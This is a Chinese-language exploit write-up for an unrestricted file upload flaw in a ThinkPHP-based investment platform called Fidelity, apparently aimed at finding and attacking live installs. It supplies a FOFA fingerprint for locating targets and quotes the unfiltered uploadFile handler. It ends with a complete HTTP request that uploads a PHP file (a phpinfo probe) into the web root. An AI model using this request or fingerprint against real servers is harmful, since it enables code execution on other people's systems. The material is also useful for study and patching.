Fidelity充电桩AI量化理财系统存在前台任意文件上传漏洞

Fidelity充电桩AI量化投资理财系统，全开源的一套投资理财系统，可以改成任意产品，里面有点混乱，有民宿的产品、虚拟货币的产品、充电桩、AI量化产品，反正有点乱，有签到、积分商城、团队推广

Fofa指纹:”模块不存在:index” && “/assets/img/error.svg” (模糊匹配，无明显指纹，需自行寻找) 

框架:ThinkPHP 5.0.24 Debug:True

需前台用户登录权限，若有邀请码可直接注册，或尝试使用默认账户登录.

位于 /application/api/controller/Index.php 的 uploadFile 方法，通过file 上传文件，且无过滤，导致漏洞产生

public function uploadFile(){
  $token=$this->request->post('token');
  $_user=Token::get($token);
  $userModel=new \app\admin\model\User();
  $user = $userModel->where(['id'=>$_user['user_id']])->find();
if ($user) {
    $file = request()->file('file');
    $info = $file->move(ROOT_PATH . 'public' . DS . 'uploadss');
    if($info){
      $update_date = [];
      $update_date['avatar'] = '/uploadss/'.$info->getSaveName();
      $userModel->where(['id'=>$user['id']])->update($update_date);
      // return $this->return_msg("OK", $result['data'], 0, 200);
      $this->success('ok',$update_date['avatar']);
    }else{
      // 上传失败获取错误信息
      $this->error('上传失败！');
    }
  } else {
    $this->error('正在加载',[],-1);
  } 
}

首先注册或登录获取一个token

然后直接发包上传即可，记得要填入你获取到的Token Payload:

POST /api/index/uploadFile HTTP/1.1
Host: 192.168.140.128
Content-Length: 325
Cache-Control: max-age=0
Origin: http://192.168.140.128
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymwG6xOs2kBR9BArt
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.140.128/api/index/uploadFile
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cookie: PHPSESSID=u4bthq23tf9mrsrn4bti7he5k7; f8bdb5149c9ad194cc3bf011b9ab4f61_ssl=2f054995-5901-4d4f-8a53-ce4d9fcec439.JcV5WvejEScTH4k3es7hKgZ7TNk
Connection: close

------WebKitFormBoundarymwG6xOs2kBR9BArt
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarymwG6xOs2kBR9BArt
Content-Disposition: form-data; name="token"

你的Token
------WebKitFormBoundarymwG6xOs2kBR9BArt--